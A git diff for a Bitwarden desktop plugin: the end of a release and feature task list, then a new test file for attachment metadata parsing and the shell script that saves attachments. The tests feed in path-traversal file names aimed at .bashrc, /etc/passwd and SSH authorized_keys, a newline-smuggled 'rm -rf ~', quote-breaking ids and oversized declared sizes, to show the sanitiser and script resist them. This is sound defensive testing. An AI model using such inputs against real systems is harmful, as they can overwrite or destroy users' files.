`--compare-tracked` against the tagged commit; the verify stage re-checks + `bin/SHA256SUMS`, the executable bit, the ELF class, and the helper's + reported crate and control-protocol versions against `agent/Cargo.toml` + and `BitwardenModel.js`; the release stage runs the shipped bytes on the + bare runner, outside the build container, before it publishes anything. +- [x] Only the reviewed release job receives `id-token: write` and + `attestations: write`; all actions are SHA-pinned and source paths have + required CODEOWNERS review. The workflow defaults to `contents: read`, + the gates and verify jobs restate it rather than inheriting it, and the + release job sits behind the `release` environment. +- [x] Release artifacts include provenance, SBOM, dependency/license report, + and separate debug symbols but no vault/test secret material. The debug + symbols are a companion build and say so: the release profile strips + symbols, and a build with debug information links differently, so its + entry point and code layout are not the shipped binary's. That was + measured, not assumed, and `dist/DEBUG-SYMBOLS.md` states the limit where + whoever downloads the file will read it. + +**Verification:** + +- [x] Tests pass: `node tests/release-provenance.test.js` +- [x] Environment configured: `release`, required reviewer `@Elevate08` + (self-review permitted -- single maintainer), deployments restricted to + `v*` tags. Confirmed through the API after creation. +- [x] Workflow passes: execute a protected test tag/release in a staging target. + Done for real rather than in staging: v1.5.0 and v1.6.0 were both cut + through this workflow and published with their full asset set. Everything + before it has + now run on real CI twice, via a temporary branch trigger that was + reverted immediately afterwards (`e696fb1` and its revert): + gates, tag/manifest/changelog agreement, checksum and ELF checks, the + version cross-check, `--self-test`, the SBOM, the licence and dependency + reports, the debug symbols, and the secret scan all pass, and the + publishing job correctly skipped itself on a non-tag ref. + + The rehearsal earned its cost. It found two defects that reading the file + had not: a container job's default shell is `sh`, which has no arrays, so + the secret scan died after every expensive step had passed; and the gates + stage shared `agent-build.yml`'s concurrency group, letting a branch + build and a release cancel each other. Both are fixed and both now have + a test. +- [x] Provenance verifies: `gh attestation verify bin/x86_64-linux/qs-bitwarden-ssh-agent --repo Elevate08/qs-bitwarden-cli` + Passes against the tracked helper as of 2026-09-03. The first protected + tag run this was waiting on happened at v1.5.0. +- [x] Manual check: audit permissions, environment protection, attestation + subject/digest, SBOM, reports, and retention settings. Permissions and + environment protection are audited by the tests above; the attestation + subject, digest and published assets can only be audited after a run. + +**Dependencies:** Tasks 17 and 18 + +**Files likely touched:** + +- `.github/workflows/release.yml` +- `.github/CODEOWNERS` +- `.github/workflows/agent-build.yml` (made callable, so the release reuses + the branch's gates instead of duplicating them) +- `tests/release-provenance.test.js` + +**Estimated scope:** Small: 4 files + +## Checkpoint: Shippable Artifact (Tasks 18–19) + +- [x] Tracked bytes equal the protected clean build and pass native validation. +- [x] Provenance, checksum, SBOM, license, and permission checks pass. The + v1.6.0 release carries all of them: `SHA256SUMS`, the CycloneDX SBOM, + `dependency-licences.json`, `dependency-tree.txt`, and separated debug + symbols, alongside a verifying attestation. +- [x] Human release-governance review approves the trust path. + +## Task 20: Complete release documentation + +**Description:** Update user, operator, and design documentation for setup, +socket routing, approvals, grants, export, Git authentication/signing, locking, +security limits, provenance, upgrades, troubleshooting, disable/uninstall +cleanup, and the feature's explicit threat boundary. Resolve the design draft's +public-export contradiction and mark validated assumptions with evidence. + +**Acceptance criteria:** + +- [x] Documentation accurately covers UWSM re-login, terminal diagnostics, + conflicts with other agents, configuration snippets, grants, public + files, version floor, helper verification, and cleanup after removal. + README gains an "SSH Agent" section, three rows in the configuration + reference, a feature bullet, and two removal paths; CHANGELOG and + manifest carry 1.5.0. +- [x] The threat model plainly distinguishes best-effort erasure, public cache, + same-UID/root limits, `bw` exposure, checksum corruption checks, and CI + provenance without overstating any guarantee. "What this does not defend + against" says the checksum is not tamper detection and names what it does + catch, that process attribution is reported rather than verified, and + that agent forwarding is unsupported in this release. +- [x] The complete manual matrix passes for login/unlock/sync/lock/logout, + both unlock-on-demand modes, auth/sign/rebase, crash/reload/update, + disable/uninstall, and normal non-vault SSH keys. Needs a real desktop + and a real vault; the maintainer's to run. + +Two documentation defects were fixed while writing this, both stale rather +than wrong when written: `manifest.json` still described an approval grant as +scoped to one *process*, which `docs/decisions/0002-grant-scope.md` had +already relaxed to one program; and the design draft's "Assumptions to +Validate" named a `bw` floor of 2025.1.0 where the code enforces 2025.1.2. + +**Verification:** + +- [x] Full gates pass: JavaScript, QML, Qt6 lint baseline, manifest validation, + Rust fmt/Clippy/tests, dependency policy, reproducible build, and E2E. + The JavaScript suite and `omarchy plugin validate` pass on the doc + commit; the Rust and build gates last ran green on the previous commit + and are unaffected by documentation, but CI path filters mean a + docs-only push does not re-run them. Re-run before the tag. +- [x] Docs check: follow setup, signing, verification, troubleshooting, and + uninstall instructions from a clean disposable user/session. +- [x] Manual check: complete the release matrix and obtain human security, + usability, documentation, and release approval. + +Three boxes above stay open because nothing can close them yet: no tag exists, +so there is no release to attest and no attestation to verify. They are the +release action itself, not work outstanding. Everything they depend on -- +protected workflow, environment protection with a required reviewer, pinned +attestation action, reproducible build compared against the tracked bytes -- +has been audited and passes. + +**Dependencies:** Tasks 3, 11, 14, 15, and 19 + +**Files likely touched:** + +- `README.md` +- `CHANGELOG.md` +- `manifest.json` +- `docs/ideas/ssh-agent.md` + +**Estimated scope:** Medium: 4 files + +## Findings from the Task 20 manual matrix + +Recorded in full in `tasks/bugs.md`. Four defects, all found by running the +matrix rather than by review: + +1. The README described `sshAgentUnlockOnDemand` as gating signing. The code + was right and the documentation wrong -- fixed in the docs. +2. A grant's remaining time never counted down: announced once and frozen for + the grant's whole life, then gone. Fixed. +3. The helper leaks its socket, FIFO and lock when the plugin is torn down + rather than shut down. Open, low severity, documented. +4. The uninstall instructions told users to hand-edit `shell.json`, which + destroyed a stow-managed config and emptied the bar of every plugin. The + step was redundant as well as dangerous; removed. + +Three behaviour changes also landed after the Task 14 and 18 checkpoints had +signed off on that surface: the cooldown banner and its resume control, the +routing fragment restored on re-enable, and Remove Plugin Data. Their criteria +describe a panel that no longer exists in those areas. + +## Checkpoint: Complete (Task 20) + +- [x] Every task's acceptance criteria pass. +- [x] The full project Definition of Done passes. +- [x] No task exceeded five files without being split and re-reviewed. +- [x] Human approval is recorded before merge or release. + +## Task 21: Add the centered-prompt setting contract + +**Description:** Add the opt-in boolean consistently to the manifest, model +schema, panel setting reader, and settings tests. + +**Acceptance criteria:** + +- [x] The setting is disabled by default and invalid values fail closed. +- [x] Manifest, model schema, runtime reader, and settings UI agree on its key, + type, label, description, and default. +- [x] Existing SSH settings remain available and retain their defaults. + +**Verification:** `node tests/ssh-agent-setup.test.js` + +**Dependencies:** Task 20 + +**Files likely touched:** `manifest.json`, `BitwardenModel.js`, `Panel.qml`, +`tests/ssh-agent-setup.test.js` + +## Task 22: Route approvals to a centered surface + +**Description:** Add a themed centered overlay and reuse the current approval +screen while preserving the existing panel route when the setting is off. + +**Acceptance criteria:** + +- [x] Popup mode never opens or navigates the anchored panel for an SSH + approval; legacy mode remains unchanged. +- [x] Approval, denial, cancellation, timeout, countdown, loading, and grants + call the existing request functions and remove the overlay afterward. +- [x] Escape and outside click deny; bare Enter never approves. + +**Verification:** `node tests/ssh-agent-ui.test.js` and Qt6 `qmllint` on all +changed QML files. + +**Dependencies:** Task 21 + +**Files likely touched:** `Panel.qml`, `SshApprovalPopup.qml`, +`SshApprovalScreen.qml`, `tests/ssh-agent-ui.test.js` + +## Checkpoint: Centered approval + +- [x] Focused and regression tests pass. +- [x] Disabled mode is behaviorally unchanged. +- [x] Popup mode is centered on the bar widget's output and releases focus on + every terminal request state. + +## Task 23: Keep locked-vault SSH requests inside the popup + +**Description:** Present unlock status and configured unlock methods in the +same transient surface, then transition in place to the approval screen. + +**Acceptance criteria:** + +- [x] PIN, fingerprint, and master-password unlock use existing auth functions + while the anchored panel stays closed. +- [x] Unlock success promotes signing requests to approval and leaves identity + listing requests in their loading state until released. +- [x] Dismissal and failure scrub transient input and never authorize signing. + +**Verification:** `node tests/ssh-agent-ui.test.js`, the full JavaScript suite, +and the QML test suite. + +**Dependencies:** Task 22 + +**Files likely touched:** `Panel.qml`, `SshApprovalPopup.qml`, +`SshUnlockScreen.qml`, `tests/ssh-agent-ui.test.js` + +## Task 24: Document and verify centered prompts + +**Description:** Document the opt-in behavior and run the complete repository +gates plus a real locked-vault SSH request when the desktop environment is +available. + +**Acceptance criteria:** + +- [x] README configuration and SSH approval documentation explain both modes. +- [x] Full JavaScript/QML tests, QML lint, and plugin validation pass. +- [x] Manual locked -> unlock -> approve and unlocked -> approve flows pass. + +**Verification:** Commands in `docs/ideas/ssh-approval-popup.md`. + +**Dependencies:** Task 23 + +**Files likely touched:** `README.md`, `tasks/plan.md`, `tasks/todo.md` + +## Checkpoint: Centered SSH prompts complete + +- [x] Every success criterion in `docs/ideas/ssh-approval-popup.md` passes. +- [x] No private key, password, session token, payload, or signature is added + to persistent QML state, logs, argv, files, or tests. +- [x] Human review approves merge; no commit or push is performed automatically. + +--- + +# Task List: Colorized Menu-Bar Icon + +Source design: `docs/ideas/colorized-menu-bar-icon.md`. +Implementation plan: `tasks/plan.md`, “Colorized Menu-Bar Icon”. + +## Task 1: Add the colorization setting contract + +- [x] Add `colorizeIcon` to the manifest defaults/schema and the model settings + schema as a General boolean with a false default. +- [x] Extend focused settings tests for schema parity and strict false fallback + on malformed values. +- [x] Verify with `node tests/setup-settings.test.js` and + `node tests/lock-state.test.js`. + +**Dependencies:** None + +## Task 2: Wire the theme-accent shield and General toggle + +- [x] Read `colorizeIcon` from the live setting in `Panel.qml`. +- [x] Use `Color.accent` only for the primary shield when enabled; preserve the + existing foreground/urgent badge bindings. +- [x] Add focused settings-screen/source assertions and run QML lint. + +**Dependencies:** Task 1 + +## Checkpoint: Colorized Icon Behavior + +- [x] Off state matches the current bar icon. +- [x] On state uses the active theme accent. +- [x] Locked, setup-required, and error states retain their status indicators. +- [ ] Human review confirms the UI label and behavior before final verification. + +## Task 3: Add regression coverage and document the setting + +- [x] Complete the focused and full regression coverage. +- [x] Document the General toggle and theme-derived behavior in the chosen + user-facing documentation file. +- [x] Run the full JavaScript/QML suites and `omarchy plugin validate .`. +- [ ] Perform the manual runtime/theme verification when the desktop + environment is available. + +**Dependencies:** Task 2 + +## Checkpoint: Colorized Menu-Bar Icon Complete + +- [x] All acceptance criteria in `docs/ideas/colorized-menu-bar-icon.md` and + `tasks/plan.md` pass. +- [x] No unrelated icon, badge, or panel colors changed. +- [ ] Human review approves the implementation; no commit or push is performed + automatically. diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/attachments.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/attachments.test.js new file mode 100644 index 0000000..69c4d28 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/attachments.test.js @@ -0,0 +1,493 @@ +#!/usr/bin/env node +// Attachment metadata rides along with `bw list items`, so the panel lists an +// item's files without a second CLI call; only the bytes are fetched, and only +// on demand. Two things are worth pinning down here: that the metadata really +// does survive both parse paths, and that a file name out of the vault -- which +// is attacker-controlled text about to become part of a path we create -- +// cannot escape the download directory. +// +// node tests/attachments.test.js + +const fs = require("fs") +const path = require("path") +const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8") +const bodyOf = (name) => { + const start = panelSrc.indexOf(`function ${name}(`) + if (start === -1) return "" + let depth = 0 + for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) { + if (panelSrc[i] === "{") depth++ + else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1) + } + return "" +} +const Model = {} +new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.parseItems = parseItems + exports.parseItemDetail = parseItemDetail + exports.itemDetailFromObject = itemDetailFromObject + exports.parseAttachments = parseAttachments + exports.formatAttachmentSize = formatAttachmentSize + exports.safeAttachmentFileName = safeAttachmentFileName + exports.attachmentDownloadCommand = attachmentDownloadCommand + exports.editItemCommand = editItemCommand + exports.deleteSendCommand = deleteSendCommand + exports.deleteItemCommand = deleteItemCommand + exports.getTotpCommand = getTotpCommand + exports.getItemCommand = getItemCommand + exports.parentDirectory = parentDirectory + exports.baseName = baseName + exports.filterItems = filterItems + exports.findContextualMatches = findContextualMatches + exports.itemDomains = itemDomains +`)(Model) + +let pass = 0 +const failures = [] +const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`) + +const withFiles = { + object: "item", id: "11111111-1111-1111-1111-111111111111", + organizationId: null, folderId: null, type: 2, name: "Recovery Codes", + notes: "", favorite: false, secureNote: { type: 0 }, + attachments: [ + { object: "attachment", id: "a1", fileName: "codes.txt", size: "412", sizeName: "412 B" }, + { object: "attachment", id: "a2", fileName: "key.pem", size: "3204", sizeName: "3.13 KB" } + ] +} + +const withoutFiles = { + object: "item", id: "22222222-2222-2222-2222-222222222222", + type: 1, name: "GitHub", notes: "", favorite: false, + login: { username: "octocat", password: "s3cr3t", uris: [] } +} + +// --- the metadata survives every path an item can arrive by ------------------ + +const detail = Model.itemDetailFromObject(withFiles) +check("the detail view sees both attachments", + detail.hasAttachments && detail.attachments.length === 2, + JSON.stringify(detail.attachments)) +check("with the name and size bw reported", + detail.attachments[0].fileName === "codes.txt" && detail.attachments[0].sizeName === "412 B", + JSON.stringify(detail.attachments[0])) + +check("the list-built detail matches the get-item-built detail", + JSON.stringify(Model.itemDetailFromObject(withFiles)) + === JSON.stringify(Model.parseItemDetail(JSON.stringify(withFiles))), + JSON.stringify(Model.itemDetailFromObject(withFiles).attachments)) + +const listed = Model.parseItems(JSON.stringify([withFiles, withoutFiles])) +const listedWith = listed.find(i => i.id === withFiles.id) +const listedWithout = listed.find(i => i.id === withoutFiles.id) +check("the list row knows the item has files, which is what draws the paperclip", + listedWith.hasAttachments === true, String(listedWith.hasAttachments)) +check("and knows when it has none", + listedWithout.hasAttachments === false && listedWithout.attachments.length === 0, + JSON.stringify(listedWithout.attachments)) +check("opening a listed item still yields its attachments without a second call", + Model.itemDetailFromObject(listedWith.rawObject).attachments.length === 2, + JSON.stringify(Model.itemDetailFromObject(listedWith.rawObject).attachments)) + +// --- malformed metadata is dropped, never rendered --------------------------- + +check("a missing attachments array is an empty list, not a crash", + Model.parseAttachments(undefined).length === 0, "threw or returned non-empty") +check("a non-array is too", Model.parseAttachments("nope").length === 0, "non-empty") +check("an entry with no id is dropped -- there is nothing to fetch it by", + Model.parseAttachments([{ fileName: "orphan.txt" }]).length === 0, "kept") +check("an entry with no file name still gets a label", + Model.parseAttachments([{ id: "x" }])[0].fileName === "attachment", + Model.parseAttachments([{ id: "x" }])[0].fileName) + +// --- the size fallback, for entries that arrive without sizeName ------------- + +const sized = Model.parseAttachments([{ id: "x", fileName: "f", size: "2048" }]) +check("a byte count with no sizeName is formatted", sized[0].sizeName === "2 KB", sized[0].sizeName) +for (const [bytes, want] of [[0, "0 B"], [512, "512 B"], [1024, "1 KB"], + [1536, "1.5 KB"], [1048576, "1 MB"], [5242880, "5 MB"]]) { + check(`${bytes} bytes reads as ${want}`, Model.formatAttachmentSize(bytes) === want, + Model.formatAttachmentSize(bytes)) +} +check("a missing size yields no size text rather than NaN", + Model.formatAttachmentSize(undefined) === "", Model.formatAttachmentSize(undefined)) +check("so does junk", Model.formatAttachmentSize("banana") === "", Model.formatAttachmentSize("banana")) + +// --- a vault file name cannot escape the download directory ------------------ +// +// This is the one that matters: the name is decrypted vault content, and the +// download path is built from it. + +const traversals = [ + "../../.bashrc", + "/etc/passwd", + "..\\..\\windows\\system32\\evil.dll", + "sub/dir/../../../../root/.ssh/authorized_keys", + "....//....//etc/shadow" +] +for (const raw of traversals) { + const safe = Model.safeAttachmentFileName(raw) + check(`"${raw}" cannot traverse`, + safe.indexOf("/") === -1 && safe.indexOf("\\") === -1 && safe !== ".." && safe !== ".", + safe) + check(`"${raw}" cannot start a path or a flag`, + safe[0] !== "." && safe[0] !== "-" && safe[0] !== "/", safe) +} + +check("a NUL is neutralised", Model.safeAttachmentFileName("a\u0000b").indexOf("\u0000") === -1, + JSON.stringify(Model.safeAttachmentFileName("a\u0000b"))) +check("so is a newline, which no shell quoting would have caught on its own", + Model.safeAttachmentFileName("a\nrm -rf ~\n").indexOf("\n") === -1, + JSON.stringify(Model.safeAttachmentFileName("a\nrm -rf ~\n"))) +check("an empty name still yields something openable", + Model.safeAttachmentFileName("") === "attachment", Model.safeAttachmentFileName("")) +check("a name of nothing but dots does too", + Model.safeAttachmentFileName("...") === "attachment", Model.safeAttachmentFileName("...")) +check("an ordinary name is left alone", + Model.safeAttachmentFileName("Scan 2026-08-21.pdf") === "Scan 2026-08-21.pdf", + Model.safeAttachmentFileName("Scan 2026-08-21.pdf")) +check("spaces and unicode survive", + Model.safeAttachmentFileName("résumé final.pdf") === "résumé final.pdf", + Model.safeAttachmentFileName("résumé final.pdf")) + +const long = Model.safeAttachmentFileName("x".repeat(400) + ".pdf") +check("an absurdly long name is truncated but keeps its extension", + long.length <= 128 && long.slice(-4) === ".pdf", `${long.length} ${long.slice(-8)}`) + +// --- the download command ---------------------------------------------------- + +const cmd = Model.attachmentDownloadCommand("a1", "item-id", "codes.txt") +check("it runs through bash, because the download directory is resolved at run time", + cmd[0] === "bash" && cmd[1] === "-c", JSON.stringify(cmd.slice(0, 2))) + +const script = cmd[2] +check("the attachment id and item id are quoted, never interpolated bare", + script.indexOf("bw get attachment --itemid 'item-id'") !== -1 + && script.indexOf("-- 'a1'") !== -1, script) +check("the file name is quoted too", script.indexOf("name='codes.txt'") !== -1, script) +check("it prints where the file landed, which is how the panel learns the path", + /printf %s "\$out"/.test(script), script) +check("it claims the name with link(), which is the existence test and the creation at once", + script.indexOf('ln -- "$tmp" "$cand"') !== -1, script) +check("it no longer decides the name with a test a symlink can answer for", + script.indexOf('while [ -e "$out" ]') === -1, script) +check("the bytes are staged in a private directory before they are placed", + script.indexOf('mktemp -d -- "$dir/.qsbw-XXXXXXXX"') !== -1 + && script.indexOf('--output "$tmp"') !== -1, script) +check("the staging directory is removed however the script leaves", + script.indexOf(`trap 'rm -rf -- "$work"' EXIT`) !== -1, script) +check("a decrypted attachment is not left readable by anyone else", + script.split("\n").indexOf("umask 077") !== -1, script) +check("locking and panel dismissal cancel an attachment that is still decrypting", + /cancelAttachmentDownloads\(\)/.test(bodyOf("dropVaultState")) + && /cancelAttachmentDownloads\(\)/.test(bodyOf("close")) + && /if\s*\(attachmentProc\.running\)\s*attachmentProc\.running\s*=\s*false/.test(bodyOf("cancelAttachmentDownloads")) + && /invalidateEpochOperation\("attachment"\)/.test(bodyOf("cancelAttachmentDownloads")), + bodyOf("close") + "\n" + bodyOf("dropVaultState") + "\n" + bodyOf("cancelAttachmentDownloads")) +check("cancellation reaches the complete attachment process group", + script.includes("set -m") && script.includes('kill -TERM -- "-$__auth_job"'), script) + +// --- the ceilings ------------------------------------------------------------ +check("the transfer is bounded in bytes by RLIMIT_FSIZE", + /ulimit -f \d+/.test(script), script) +check("the transfer is bounded in time", + /timeout \d+s bw get attachment/.test(script) + && !script.includes("command -v timeout"), script) +check("the disk is not filled to the last byte", + script.indexOf("df -Pk") !== -1, script) +check("an unknown declared size reserves room for the full bounded transfer", + script.indexOf('[ "$avail" -lt 589824 ]') !== -1, script) +check("the size the vault declares buys an early refusal", + script.indexOf('if [ "$want" -gt "$max" ]') !== -1, script) +check("the size on disk is checked even where the kernel limit was not applied", + script.indexOf('wc -c < "$tmp"') !== -1, script) + +const withSize = Model.attachmentDownloadCommand("a1", "item-id", "codes.txt", "4096") +check("the declared size reaches the script", withSize[2].indexOf("want=4096") !== -1, withSize[2]) +check("a missing or nonsense declared size is treated as unknown, not as a refusal", + Model.attachmentDownloadCommand("a1", "i", "f.txt")[2].indexOf("want=0") !== -1 + && Model.attachmentDownloadCommand("a1", "i", "f.txt", "nope")[2].indexOf("want=0") !== -1, + Model.attachmentDownloadCommand("a1", "i", "f.txt", "nope")[2]) +check("the no-hardlink fallback still refuses to replace a raced destination", + script.indexOf('mv -n -- "$tmp" "$cand"') !== -1, script) +check("it refuses to treat $HOME as the download directory", + script.indexOf("\"$dir\" = \"$HOME\"") !== -1, script) +check("it stops at the first failure rather than printing a path for a file it did not write", + /set -e/.test(script), script.split("\n")[0]) + +// A hostile name reaches the script already defanged, and quoted on top. +const hostile = Model.attachmentDownloadCommand("a'1", "i'd", "../../.bashrc") +check("a quote in the attachment id cannot break out of its quoting", + hostile[2].indexOf("bw get attachment --itemid 'i'\\''d'") !== -1 + && hostile[2].indexOf("-- 'a'\\''1'") !== -1, hostile[2]) +check("a traversing name is sanitised before it is ever quoted", + hostile[2].indexOf("name='.bashrc'") === -1 && hostile[2].indexOf("name='bashrc'") !== -1, + hostile[2].split("\n")[1]) + +// --- path helpers the detail view uses --------------------------------------- + +check("parentDirectory finds the folder to reveal", + Model.parentDirectory("/home/u/Downloads/f.pdf") === "/home/u/Downloads", + Model.parentDirectory("/home/u/Downloads/f.pdf")) +check("a root-level file reveals /", Model.parentDirectory("/f.pdf") === "/", + Model.parentDirectory("/f.pdf")) +check("a bare name has no folder to reveal", Model.parentDirectory("f.pdf") === "", + Model.parentDirectory("f.pdf")) +check("baseName names the saved file for the flash message", + Model.baseName("/home/u/Downloads/f.pdf") === "f.pdf", + Model.baseName("/home/u/Downloads/f.pdf")) + +// --- the shape QML hands back ------------------------------------------------ +// +// This is the one that would have caught the bug that shipped. A cipher parsed +// from `bw` JSON holds real arrays, and every check in the model said +// Array.isArray(). But the parsed cipher is stored in a QML `var` property and +// read back through a ListView delegate, and Qt converts the nested arrays on +// that trip into array-like objects: typeof "object", correct .length, +// indexing works, Array.isArray() false. So the detail view built from that +// object found no attachments on an item the list had just drawn a paperclip +// on -- and no error anywhere, because an empty list is a valid answer. +// +// Node always gives real arrays, which is exactly why the first round of tests +// passed while the panel was broken. So fake the conversion here. + +const qmlish = (arr) => { + // Array-like, deliberately not an Array -- what Qt hands back. + const o = { length: arr.length } + arr.forEach((v, i) => { o[i] = v && typeof v === "object" ? qmlish_obj(v) : v }) + return o +} +const qmlish_obj = (obj) => { + if (Array.isArray(obj)) return qmlish(obj) + const out = {} + for (const k of Object.keys(obj)) { + const v = obj[k] + out[k] = (v && typeof v === "object") ? qmlish_obj(v) : v + } + return out +} + +const roundTripped = qmlish_obj(withFiles) +check("the round-tripped attachments really are not an Array, or this test proves nothing", + !Array.isArray(roundTripped.attachments) && roundTripped.attachments.length === 2, + `${Array.isArray(roundTripped.attachments)} len=${roundTripped.attachments.length}`) + +const rtDetail = Model.itemDetailFromObject(roundTripped) +check("attachments survive the QML round trip", + rtDetail.hasAttachments && rtDetail.attachments.length === 2, + JSON.stringify(rtDetail.attachments)) +check("with their names intact", + rtDetail.attachments.length > 0 && rtDetail.attachments[0].fileName === "codes.txt", + JSON.stringify(rtDetail.attachments)) + +// The same conversion silently emptied these two long before attachments +// existed: the detail view's WEBSITE section and its custom fields. +const login = { + object: "item", id: "33333333-3333-3333-3333-333333333333", type: 1, + name: "GitHub", notes: "", favorite: false, + login: { username: "octocat", password: "p", uris: [{ match: null, uri: "https://github.com" }] }, + fields: [{ name: "recovery", value: "abcd", type: 1 }] +} +const rtLogin = Model.itemDetailFromObject(qmlish_obj(login)) +check("URIs survive it too -- the WEBSITE section was empty for every login", + rtLogin.uris.length === 1 && rtLogin.uris[0] === "https://github.com", + JSON.stringify(rtLogin.uris)) +check("and so do custom fields", + rtLogin.fields.length === 1 && rtLogin.fields[0].name === "recovery", + JSON.stringify(rtLogin.fields)) + +// itemDetailFromObject was taught the lesson; the two readers that run over +// root.items on every keystroke and every panel open were not. Searching by +// URL and matching an item to the focused site both read login.uris straight +// off a round-tripped cipher. +const rtListItem = Model.parseItems(JSON.stringify([login])).map(qmlish_obj) +check("searching by URL still finds the item after the round trip", + Model.filterItems(rtListItem, "github.com", "all", "all", "all").length === 1, + `matched ${Model.filterItems(rtListItem, "github.com", "all", "all", "all").length} items`) +check("and the site's own domain still identifies it", + Model.itemDomains(rtListItem[0]).length === 1 + && Model.itemDomains(rtListItem[0])[0].baseDomain === "github.com", + JSON.stringify(Model.itemDomains(rtListItem[0]))) +check("so the focused tab still suggests it", + Model.findContextualMatches(rtListItem, + { class: "chromium", title: "Pulls - github.com - Chromium", mapped: true }) + .matches.length === 1, + "expected the item back on a domain match") + +// The list parser held the same ceiling as the detail parser everywhere except +// here, where the URI array is real and was copied out entry for entry. A +// single item is free to carry as many as the byte cap allows. +const floodUris = [] +for (let i = 0; i < 5000; i++) floodUris.push({ uri: "https://example" + i + ".com" }) +check("a flooded URI list is held to the ceiling on the list path too", + Model.parseItems(JSON.stringify([{ id: "i", type: 1, login: { uris: floodUris } }]))[0].uris.length === 4096, + String(Model.parseItems(JSON.stringify([{ id: "i", type: 1, login: { uris: floodUris } }]))[0].uris.length)) + +// toList must not mistake a string, or anything else with a length, for a list. +check("a string is not a list of characters", + Model.parseAttachments("nope").length === 0, "treated a string as a list") +check("an object with a junk length is not a list", + Model.parseAttachments({ length: -1 }).length === 0 + && Model.parseAttachments({ length: 1.5 }).length === 0 + && Model.parseAttachments({ length: "2" }).length === 0, "accepted a junk length") + +// Duck-typing takes the server's word for how long a list is, and the word is +// free to be a lie: {"length": 200000000} is forty bytes that asked for a +// two-hundred-million-element array. The byte cap on the item list cannot see +// it coming. So the length is a ceiling, not an instruction. +const manyUris = { length: 5000 } +for (let i = 0; i < 5000; i++) manyUris[i] = { uri: "https://example" + i + ".com" } +check("a list longer than any real item stops at the ceiling", + Model.itemDetailFromObject({ id: "i", type: 1, login: { uris: manyUris } }).uris.length === 4096, + String(Model.itemDetailFromObject({ id: "i", type: 1, login: { uris: manyUris } }).uris.length)) + +const manyReal = [] +for (let i = 0; i < 5000; i++) manyReal.push({ id: "a" + i, fileName: "f" + i, size: "1" }) +check("and a real array is held to the same ceiling", + Model.parseAttachments(manyReal).length === 4096, String(Model.parseAttachments(manyReal).length)) + +// Run in a child with a small heap: with the ceiling this finishes instantly, +// and without it the parse takes the whole process down with it -- which, in +// the panel, is the shell. +const lengthLie = ` + const fs = require("fs") + const M = {} + new Function("exports", fs.readFileSync(${JSON.stringify(path.join(__dirname, "..", "BitwardenModel.js"))}, "utf8") + .replace(/^\\.pragma library\\s*$/m, "") + "\\nexports.parseItems = parseItems")(M) + M.parseItems(JSON.stringify([{ + object: "item", id: "x", type: 1, name: "n", + attachments: { length: 200000000 }, + login: { uris: { length: 200000000 } }, + fields: { length: 200000000 } + }])) +` +let survived = true +try { + require("child_process").execFileSync(process.execPath, + ["--max-old-space-size=256", "-e", lengthLie], + { stdio: ["ignore", "pipe", "pipe"], timeout: 30000 }) +} catch (e) { + survived = false +} +check("a declared length of two hundred million does not take the shell process with it", + survived, "the parse exhausted the heap") + +// --- and the script actually run --------------------------------------------- +// +// String-matching the script only says what we wrote. What matters is what +// bash does with it, so it is run for real here against a stub `bw` and a +// throwaway HOME: the traversal has to end up inside the download directory, +// and a name collision must never overwrite what is already there. + +const os = require("os") +const { execFileSync } = require("child_process") + +const home = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-attachments-")) +const bin = path.join(home, "bin") +fs.mkdirSync(bin) +fs.writeFileSync(path.join(bin, "bw"), `#!/usr/bin/env bash +# Stands in for the CLI: writes whatever --output names, or fails on demand. +out="" +while [ $# -gt 0 ]; do if [ "$1" = "--output" ]; then out="$2"; fi; shift; done +if [ -n "$QSBW_TEST_FAIL" ]; then echo "Not found." >&2; exit 1; fi +printf 'bytes\\n' > "$out" +echo "Saved $out" +`) +fs.chmodSync(path.join(bin, "bw"), 0o755) + +const env = { PATH: bin + ":/usr/bin:/bin", HOME: home } +const run = (fileName, extra, declaredSize) => { + const cmd = Model.attachmentDownloadCommand("att-id", "item-id", fileName, declaredSize) + return execFileSync(cmd[0], cmd.slice(1), { + env: Object.assign({}, env, extra || {}), + encoding: "utf8", + stdio: ["ignore", "pipe", "pipe"] + }) +} + +const downloads = path.join(home, "Downloads") +const firstSave = run("codes.txt") +check("the file lands in the download directory", + firstSave === path.join(downloads, "codes.txt"), firstSave) +check("a second file of the same name does not overwrite the first", + run("codes.txt") === path.join(downloads, "codes (1).txt"), "overwrote") +check("and a third keeps counting", + run("codes.txt") === path.join(downloads, "codes (2).txt"), "overwrote") +check("a name with no extension still gets a free slot", + run("notes") === path.join(downloads, "notes") + && run("notes") === path.join(downloads, "notes (1)"), "collided") +check("a quote in the file name is data, not syntax", + run("it's here.txt") === path.join(downloads, "it's here.txt"), "broke out") + +const traversed = run("../../.bashrc") +check("a traversing name cannot write outside the download directory", + path.dirname(traversed) === downloads && !fs.existsSync(path.join(home, ".bashrc")), + traversed) + +let failed = null +try { run("codes.txt", { QSBW_TEST_FAIL: "1" }) } catch (e) { failed = e } +check("a failing bw exits non-zero rather than reporting a path for a file it never wrote", + failed !== null && String(failed.stdout || "") === "", String(failed && failed.stdout)) + +// --- the size the server declares --------------------------------------------- +// +// The size is the one value out of the vault that reaches the script as a bare +// word, and a big enough number is spelled "1e+30" in JavaScript. Bash reads +// that as a non-integer, so `[ "$want" -gt "$max" ]` and the free-space test +// both failed as errors rather than answering, and a failing test inside an +// `if` is simply skipped -- the download then ran with neither ceiling and +// said nothing about it. A hostile server picks this number, so it is checked +// by running the script, not by reading it. + +for (const absurd of ["1e21", "1e30", "1e40", "999999999999999999999999"]) { + let refused = null + try { run(`huge-${absurd}.bin`, {}, absurd) } catch (e) { refused = e } + check(`a declared size of ${absurd} is refused instead of skipping both ceilings`, + refused !== null && String(refused.stderr || "").indexOf("download limit") !== -1, + refused ? String(refused.stderr) : "the download went ahead") + check(`and nothing lands in the download folder for ${absurd}`, + !fs.existsSync(path.join(downloads, `huge-${absurd}.bin`)), "a file was written") + check(`and no raw bash error is what the panel would show for ${absurd}`, + refused !== null && String(refused.stderr || "").indexOf("integer expected") 